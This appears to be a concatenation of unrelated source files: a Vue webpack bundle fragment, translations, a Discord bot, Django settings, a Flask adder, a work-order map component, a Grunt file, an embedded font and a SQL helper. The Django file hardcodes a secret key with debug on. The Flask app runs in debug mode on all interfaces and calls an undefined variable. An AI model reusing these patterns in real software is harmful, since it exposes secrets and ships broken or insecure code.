descripcion: 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua' + 'Quis ipsum sus-pendisse ultrices gravida. Risus commodo viverra maecenas accumsan lacus vel facilisis.',
precio: 89.5
}]
};
},
mounted: function mounted() {},
methods: {
verDetalle: function verDetalle(i) {
console.log(i);
}
}
});
/***/ }),
/***/ 16:
/***/ (function(module, exports, __webpack_require__) {
var render = function() {
var _vm = this
var _h = _vm.$createElement
var _c = _vm._self._c || _h
return _c("section", { staticClass: "hero-section" }, [
_c(
"div",
{ staticClass: "hero-slider owl-carousel" },
_vm._l(_vm.barner, function(item, i) {
return _c(
"div",
{
key: i,
staticClass: "hs-item set-bg",
attrs: { "data-setbg": _vm.url + item.url }
},
[
_c("div", { staticClass: "container" }, [
_c("div", { staticClass: "row" }, [
_c("div", { staticClass: "col-xl-6 col-lg-7 text-white" }, [
_c("h2", [_vm._v(_vm._s(item.titulo))]),
_vm._v(" "),
_c("p", [_vm._v(_vm._s(item.descripcion))]),
_vm._v(" "),
_c(
"a",
{
staticClass: "site-btn sb-line cursor",
on: {
click: function($event) {
$event.stopPropagation()
$event.preventDefault()
return _vm.verDetalle(item.id)
}
}
},
[_vm._v("DETALLE")]
)
])
]),
_vm._v(" "),
_c(
"div",
{
staticClass:
"align-items-center d-flex justify-content-center offer-card text-white"
},
[
_c("h4", { staticClass: "pb-3 pr-1" }, [_vm._v("$")]),
_vm._v(" "),
_c("h3", { staticClass: "pb-3" }, [
_vm._v(_vm._s(item.precio))
])
]
)
])
]
)
}),
0
),
_vm._v(" "),
_vm._m(0)
])
}
var staticRenderFns = [
function() {
var _vm = this
var _h = _vm.$createElement
var _c = _vm._self._c || _h
return _c("div", { staticClass: "container" }, [
_c("div", { staticClass: "slide-num-holder", attrs: { id: "snh-1" } })
])
}
]
render._withStripped = true
module.exports = { render: render, staticRenderFns: staticRenderFns }
if (false) {
module.hot.accept()
if (module.hot.data) {
require("vue-hot-reload-api") .rerender("data-v-3ae2489e", module.exports)
}
}
/***/ }),
/***/ 77:
/***/ (function(module, exports, __webpack_require__) {
module.exports = __webpack_require__(78);
/***/ }),
/***/ 78:
/***/ (function(module, exports, __webpack_require__) {
var disposed = false
var normalizeComponent = __webpack_require__(0)
/* script */
var __vue_script__ = __webpack_require__(79)
/* template */
var __vue_template__ = null
/* template functional */
var __vue_template_functional__ = false
/* styles */
var __vue_styles__ = null
/* scopeId */
var __vue_scopeId__ = null
/* moduleIdentifier (server only) */
var __vue_module_identifier__ = null
var Component = normalizeComponent(
__vue_script__,
__vue_template__,
__vue_template_functional__,
__vue_styles__,
__vue_scopeId__,
__vue_module_identifier__
)
Component.options.__file = "resources/assets/js/vue/layouts/nav.vue"
/* hot reload */
if (false) {(function () {
var hotAPI = require("vue-hot-reload-api")
hotAPI.install(require("vue"), false)
if (!hotAPI.compatible) return
module.hot.accept()
if (!module.hot.data) {
hotAPI.createRecord("data-v-fb8b255c", Component.options)
} else {
hotAPI.reload("data-v-fb8b255c", Component.options)
}
module.hot.dispose(function (data) {
disposed = true
})
})()}
module.exports = Component.exports
/***/ }),
/***/ 79:
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__components_navComponent_vue__ = __webpack_require__(14);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__components_navComponent_vue___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0__components_navComponent_vue__);
var app = new Vue({
el: "#navC",
name: 'navC',
data: {},
components: {
navComponent: __WEBPACK_IMPORTED_MODULE_0__components_navComponent_vue___default.a
}
});
/***/ })
/******/ });
|
'use strict';
module.exports = function(npolarPeople, npolarAliases) {
'ngInject';
return function(email) {
let name;
// Alias?
let a = npolarAliases.find(a => a.alias.includes(email));
if (a) {
if (a.name) {
name = a.name; // Name found
} else {
email = a.email; // Lookup in next block
}
}
if (typeof(name) !== 'string') { // Not alias with name property
// In people <= Person API?
let p = npolarPeople.people.find(p => p.email === email);
if (p) {
if (p.first_name && p.last_name) {
name = `${p.first_name} ${p.last_name}`;
}
}
}
if (typeof(name) !== 'string') {
// Bail out => return input
name = email;
}
return name;
};
};
|
/*
* Russian translations for https://github.com/dkfbasel/vuex-i18n
*/
export const translationsRu = {
"hello": "Здравствуйте",
"you are logged in as": "Вы вошли в систему под учетной записью ",
"home": "Главная",
"login": "Вход",
"register": "Регистрация",
"manage": "Управление уч. записью",
"logout": "Выйти",
"project name": "Менеджер Проектов",
"login form": "Вход в систему",
"email": "Эл. почта",
"password": "Пароль",
"you need to login first": "Вы сначала должны войти в систему",
"email placeholder": "Введите адрес эл. почты",
"password placeholder": "Введите Ваш пароль",
"password confirm placeholder": "Подтвердите Ваш пароль"
}
|
#!/usr/bin/env node
const rewire = require("rewire");
const defaults = rewire("react-scripts/scripts/build.js");
let config = defaults.__get__("config");
config.optimization.splitChunks = {
cacheGroups: {
default: false
}
};
config.optimization.runtimeChunk = false;
|
const { MessageEmbed } = require("discord.js");
const fetch = require("node-fetch");
module.exports = {
name:"feed",
alias:["feed"],
category:"Fun",
description:"Get Fresh feed Images",
usage:"feed",
run: async(client, message, args) => {
const data = await fetch("https://nekos.life/api/v2/img/feed").then((res) =>
res.json()
);
const user = message.mentions.users.first() || message.author;
const feed = message.author.id === user.id ? "themselfs" : user.username;
const embed = new MessageEmbed()
.setColor("#00BFFF")
.setDescription(`${message.author} Feed **${feed}**`)
.setImage(`${data.url}`)
.setFooter(`Powered by nekos.life`)
message.channel.send({ embed });
},
};
|
import { setupEl } from '../helpers.js';
import Employee from './employee.js';
import EmployeeContainer from './employeeContainer.js';
const FacesGameBoard = (chosen, cb) => {
const selectedEmployee = chosen[Math.floor(Math.random() * 5)];
const facesGameDiv = setupEl('div', 'facesGameDiv');
const employeeContainer = EmployeeContainer();
chosen.forEach((employee) => {
employeeContainer.appendChild(Employee(employee));
});
const inquiry = setupEl('h2', null, null, `Who is ${selectedEmployee.firstName} ${selectedEmployee.lastName}?`);
facesGameDiv.appendChild(employeeContainer);
facesGameDiv.appendChild(inquiry);
facesGameDiv.addEventListener('click', cb.bind(this, selectedEmployee));
return facesGameDiv;
};
export default FacesGameBoard;
|
"""
Django settings for business_site project.
Generated by 'django-admin startproject' using Django 3.0.3.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.0/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '%cn(^%(8)nsp@@+50$op!*sbl^)0ebb2pn1s%o$kneb%35e9d&'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'landing'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'business_site.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'business_site.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.0/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/3.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.0/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.0/howto/static-files/
STATIC_URL = '/static/'
STATICFILES_DIRS = [os.path.join(BASE_DIR, 'static')]
STATIC_ROOT = os.path.join(BASE_DIR, 'static_production_test')
STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.ManifestStaticFilesStorage'
|
// Write a function that accepts a sorted array and counts the unique values
// in that array. There can be negative numbers, but it will always be sorted.
const countUniqueValues = (array) => {
if (array.length === 0) return 0;
let j = 0;
for (let i = 1; i < array.length; i++) {
if (array[j] !== array[i]) {
j++;
array[j] = array[i];
}
}
return j + 1;
};
// j
// [1, 2, 3, 4, 5, 6, 10, 5, 5, 6, 10]
// i
// countUniquevalues([1, 1, 1, 1, 1, 1, 2]) => 2
// countUniquevalues([1, 2, 3, 3, 3, 4, 10]) => 5
// countUniquevalues([]) => 0
console.log(countUniqueValues([-1, 0, 1, 1, 1, 2, 5, 10]));
|
import Component from './error-messages-component';
export default Component;
|
// see http://vuejs-templates.github.io/webpack for documentation.
var path = require('path')
const nodeExternals = require('webpack-node-externals')
module.exports = {
build: {
env: require('./prod.env'),
index: path.resolve(__dirname, '../dist/index.html'),
assetsRoot: path.resolve(__dirname, '../dist'),
assetsSubDirectory: 'static',
assetsPublicPath: './',
productionSourceMap: false, //关闭SourceMap,从而关闭devtool
// Gzip off by default as many popular static hosts such as
// Surge or Netlify already gzip all static assets for you.
// Before setting to `true`, make sure to:
// npm install --save-dev compression-webpack-plugin
productionGzip: false,
productionGzipExtensions: ['js', 'css'],
// Run the build command with an extra argument to
// View the bundle analyzer report after build finishes:
// `npm run build --report`
// Set to `true` or `false` to always turn it on or off
bundleAnalyzerReport: process.env.npm_config_report
},
dev: {
env: require('./dev.env'),
port: 8080,
autoOpenBrowser: true,
assetsSubDirectory: 'static',
assetsPublicPath: '/',
proxyTable: {},
// CSS Sourcemaps off by default because relative paths are "buggy"
// with this option, according to the CSS-Loader README
// (https://github.com/webpack/css-loader#sourcemaps)
// In our experience, they generally work as expected,
// just be aware of this issue when enabling this option.
cssSourceMap: false
},
externals: [
nodeExternals()
],
}
|
from flask import Flask, jsonify
from flask import request, Response
from requests import get
app = Flask(__name__)
@app.route('/Sumar')
def Sumar():
num1=request.args.get("num1")
num2=request.args.get("num2")
result = format(str(int(num1)+int(num2)))
print(video["resultado"])
return jsonify({"resultado": result})
if __name__ == '__main__':
app.run(host="0.0.0.0", debug=True, port=4009)
|
/**
* Copyright 2004-present Facebook. All Rights Reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
* @format
*/
import type {BasicLocation} from '../../common/Location';
import type {ShortUser} from '../../common/EntUtils';
import type {WorkOrder} from '../../common/WorkOrder';
import type {
WorkOrderLocation,
WorkOrderProperties,
WorkOrderWithLocation,
} from '../map/MapUtil';
import * as React from 'react';
import MapView from './../map/MapView';
import WorkOrderMapButtons from './WorkOrderMapButtons.js';
import WorkOrderPopover from './WorkOrderPopover';
import nullthrows from 'nullthrows';
import useRouter from '@fbcnms/ui/hooks/useRouter';
import {createFragmentContainer, graphql} from 'react-relay';
import {makeStyles} from '@material-ui/styles';
import {useMemo, useState} from 'react';
import {withRouter} from 'react-router-dom';
import {workOrderToGeoJSONSource} from './../map/MapUtil';
type Props = {
workOrders: Array<WorkOrder>,
};
const useStyles = makeStyles(() => ({
workOrderPopover: {
marginTop: '8px',
minWidth: '410px',
maxWidth: '50vw',
},
}));
const LOCATIONS_DISTRIBUTION_FACTOR = 0.01;
const distributeLocations = (
location: BasicLocation,
setLocations: Set<string>,
): WorkOrderLocation => {
let lat = location.latitude + Math.random() * LOCATIONS_DISTRIBUTION_FACTOR;
if (!setLocations.has(location.name)) {
setLocations.add(location.name);
lat = location.latitude;
}
return {
...location,
randomizedLatitude: lat,
};
};
const WorkOrdersMap = (props: Props) => {
const {workOrders} = props;
const classes = useStyles();
const [selectedView, setSelectedView] = useState('status');
const router = useRouter();
const setLocations = useMemo(() => new Set(), []);
const workOrdersConst = workOrders
.filter(w => w.location !== null)
.map(w => ({
workOrder: w,
location: distributeLocations(
{
...nullthrows(w.location),
randomizedLatitude: w.location?.latitude || 0,
},
setLocations,
),
}));
const [workOrdersWithLocations, setWorkOrdersWithLocations] = useState(
workOrdersConst,
);
const layers = useMemo(() => {
return [
{
styles: {
icon: {
iconImage:
selectedView == 'status'
? ['get', 'iconStatus']
: ['get', 'iconTech'],
textField: selectedView == 'status' ? '' : ['get', 'text'],
textTransform: 'uppercase',
iconIgnorePlacement: false,
textColor: ['get', 'textColor'],
textFont: ['Roboto Bold', 'Arial Unicode MS Bold'],
},
},
source: workOrderToGeoJSONSource('0', workOrdersWithLocations, {
primaryKey: '0',
color: 'blue',
}),
},
];
}, [selectedView, workOrdersWithLocations]);
const onWorkOrderChanged = (
key: 'assigneeId' | 'installDate',
value: ?string,
workOrderId: string,
) => {
setWorkOrdersWithLocations(
workOrdersWithLocations.map(workOrder => {
if (workOrder.workOrder.id === workOrderId) {
return updateWorkOrderDetails(workOrder, key, value);
}
return workOrder;
}),
);
};
const updateWorkOrderDetails = (
workOrder: WorkOrderWithLocation,
key: 'assigneeId' | 'installDate',
value: ?string,
): WorkOrderWithLocation => {
return {
location: workOrder.location,
workOrder: {
...workOrder.workOrder,
// $FlowFixMe Set state for each field
[key]: value,
},
};
};
const userFormat = (userInput: 'string' | ShortUser) => {
const user: ShortUser =
typeof userInput === 'string' ? JSON.parse(userInput) : userInput;
return user;
};
const locationFormat = (locationInput: 'string' | BasicLocation) => {
const location: BasicLocation =
typeof locationInput === 'string'
? JSON.parse(locationInput)
: locationInput;
return location;
};
const featurePropertiesToWorkOrderProperties = (
properties,
): WorkOrderProperties => {
return {
...properties,
assignedTo: userFormat(properties.assignedTo),
owner: userFormat(properties.owner),
location: locationFormat(properties.location),
};
};
return (
<MapView
mapButton={
<WorkOrderMapButtons onClick={value => setSelectedView(value)} />
}
mode="streets"
layers={layers}
showMapSatelliteToggle={true}
showGeocoder={true}
workOrdersView={true}
getFeaturePopoutContent={feature => {
const workOrder = featurePropertiesToWorkOrderProperties(
feature.properties,
);
return (
<WorkOrderPopover
onWorkOrderChanged={onWorkOrderChanged}
displayFullDetails={true}
containerClassName={classes.workOrderPopover}
selectedView={selectedView}
workOrder={workOrder}
onWorkOrderClick={() => {
router.history.push(
`/workorders/search?workorder=${feature.properties.id}`,
);
}}
/>
);
}}
getFeatureHoverPopoutContent={feature => (
<WorkOrderPopover
displayFullDetails={false}
workOrder={featurePropertiesToWorkOrderProperties(feature.properties)}
/>
)}
/>
);
};
export default withRouter(
createFragmentContainer(WorkOrdersMap, {
workOrders: graphql`
fragment WorkOrdersMap_workOrders on WorkOrder @relay(plural: true) {
id
name
description
owner {
id
email
}
status
priority
assignedTo {
id
email
}
installDate
location {
id
name
latitude
longitude
}
}
`,
}),
);
|
import React, { Component } from 'react';
class Experience extends Component {
constructor(props) {
super(props);
this.state = {
};
}
render() {
return (
<div>
<h1>hallo boss i'am experience</h1>
</div>
);
}
}
export default Experience;
|
module.exports = function (grunt) {
// time
require('time-grunt')(grunt);
grunt.initConfig({
pkg: grunt.file.readJSON('package.json'),
// Compress and zip only the files required for deployment to the server. Exclude all dev dependencies.
compress: {
main: {
options: {
archive: 'packaged/<%= pkg.name %>' + grunt.template.today('_yyyy-mm-dd_HH-MM') + '.zip',
mode: 'zip'
},
expand: true,
cwd: '.',
src: [
'**/*',
'!**/node_modules/**',
'!**/components/**',
'!**/scss/**',
'!**/bower.json',
'!**/Gruntfile.js',
'!**/package.json',
'!**/composer.json',
'!**/composer.lock',
'!**/codesniffer.ruleset.xml',
'!**/packaged/*'
],
dest: '<%= pkg.name %>'
},
},
sass: {
options: {
// If you can't get source maps to work, run the following command in your terminal:
// $ sass scss/foundation.scss:css/foundation.css --sourcemap
// (see this link for details: http://thesassway.com/intermediate/using-source-maps-with-sass )
sourceMap: true
},
dist: {
options: {
outputStyle: 'compressed'
},
files: {
'assets/stylesheets/foundation.css': 'assets/scss/foundation.scss'
}
}
},
copy: {
scripts: {
expand: true,
cwd: 'assets/components/foundation/js/vendor/',
src: '**',
flatten: 'true',
dest: 'assets/javascript/vendor/'
},
iconfonts: {
expand: true,
cwd: 'assets/components/fontawesome/fonts',
src: ['**'],
dest: 'assets/fonts/'
}
},
'string-replace': {
fontawesome: {
files: {
'assets/fontawesome/scss/_variables.scss': 'assets/fontawesome/scss/_variables.scss'
},
options: {
replacements: [
{
pattern: '../fonts',
replacement: '../assets/fonts'
}
]
}
}
},
concat: {
options: {
separator: ';'
},
dist: {
src: [
// Foundation core
'assets/components/foundation/js/foundation/foundation.js',
// Pick the components you need in your project
'assets/components/foundation/js/foundation/foundation.abide.js',
'assets/components/foundation/js/foundation/foundation.accordion.js',
'assets/components/foundation/js/foundation/foundation.alert.js',
'assets/components/foundation/js/foundation/foundation.clearing.js',
'assets/components/foundation/js/foundation/foundation.dropdown.js',
'assets/components/foundation/js/foundation/foundation.equalizer.js',
'assets/components/foundation/js/foundation/foundation.interchange.js',
'assets/components/foundation/js/foundation/foundation.joyride.js',
'assets/components/foundation/js/foundation/foundation.magellan.js',
'assets/components/foundation/js/foundation/foundation.offcanvas.js',
'assets/components/foundation/js/foundation/foundation.orbit.js',
'assets/components/foundation/js/foundation/foundation.reveal.js',
'assets/components/foundation/js/foundation/foundation.slider.js',
'assets/components/foundation/js/foundation/foundation.tab.js',
'assets/components/foundation/js/foundation/foundation.tooltip.js',
'assets/components/foundation/js/foundation/foundation.topbar.js',
// Include your own custom scripts (located in the custom folder)
'assets/javascript/custom/*.js'
],
// Finally, concatenate all the files above into one single file
dest: 'assets/javascript/foundation.js'
}
},
uglify: {
dist: {
files: {
// Shrink the file size by removing spaces
'assets/javascript/foundation.js': ['assets/javascript/foundation.js']
}
}
},
watch: {
grunt: {files: ['Gruntfile.js']},
sass: {
files: 'assets/scss/**/*.scss',
tasks: ['sass'],
options: {
livereload: true
}
},
js: {
files: 'assets/javascript/custom/**/*.js',
tasks: ['concat', 'uglify'],
options: {
livereload: true
}
},
all: {
files: '**/*.php',
options: {
livereload: true
}
}
},
postcss: {
options: {
map: true,
processors: [
require('pixrem')(), // add fallbacks for rem units
require('autoprefixer')({browsers: 'last 2 versions'}), // add vendor prefixes
require('cssnano')() // minify the result
]
},
dist: {
src: 'assets/stylesheets/foundation.css'
}
},
browserSync: {
dev: {
bsFiles: {
src : [
'assets/stylesheets/*.css',
'**/*.php',
'assets/javascript/**/*.js'
]
},
options: {
watchTask: true,
// fill in proxy address of local WP server
proxy: ""
}
}
}
});
grunt.loadNpmTasks('grunt-sass');
grunt.loadNpmTasks('grunt-postcss');
grunt.loadNpmTasks('grunt-contrib-watch');
grunt.loadNpmTasks('grunt-contrib-concat');
grunt.loadNpmTasks('grunt-contrib-copy');
grunt.loadNpmTasks('grunt-contrib-uglify');
grunt.loadNpmTasks('grunt-string-replace');
grunt.loadNpmTasks('grunt-contrib-compress');
grunt.loadNpmTasks('grunt-browser-sync');
grunt.registerTask('package', ['compress:main']);
grunt.registerTask('build', ['copy', 'string-replace:fontawesome', 'sass', 'postcss', 'concat', 'uglify']);
grunt.registerTask('browser-sync', ['browserSync', 'watch']);
grunt.registerTask('default', ['watch']);
};
|
"use strict";
// Copyright 2018, Google, LLC.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
Object.defineProperty(exports, "__esModule", { value: true });
/*! THIS FILE IS AUTO-GENERATED */
const src_1 = require("../../shared/src");
const v1_1 = require("./v1");
exports.VERSIONS = {
'v1': v1_1.fitness_v1.Fitness,
};
function fitness(versionOrOptions) {
return src_1.getAPI('fitness', versionOrOptions, exports.VERSIONS, this);
}
exports.fitness = fitness;
//# sourceMappingURL=index.js.map
|
if(typeof __JLM_GWT_FONTS__==="undefined"){__JLM_GWT_FONTS__={}}__JLM_GWT_FONTS__["jlm_jlmsb10"]="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";
|
/**
* Created by dietn on 28/11/14.
*/
var connectionMgr = require("./ConnectionManager");
var db = connectionMgr.getConnection();
function doQueryAndCallbackData(query, callback){
db.query(query,function(error,rows,fields){
if(error){console.log(error);}
callback(rows);
});
}
/*
Spider query's
*/
/*
Spider link query's
*/
function insertLink(link, level, productId){
var query = "insert into spidered_links(link,level,time_spidered, product_id) select ? , ?, ?,? from dual where not exists(select link from spidered_links where link = ?);"
db.query(query,[link,level,new Date(),productId, link], function(err,row,fields){
if(err) console.log(err);
});
}
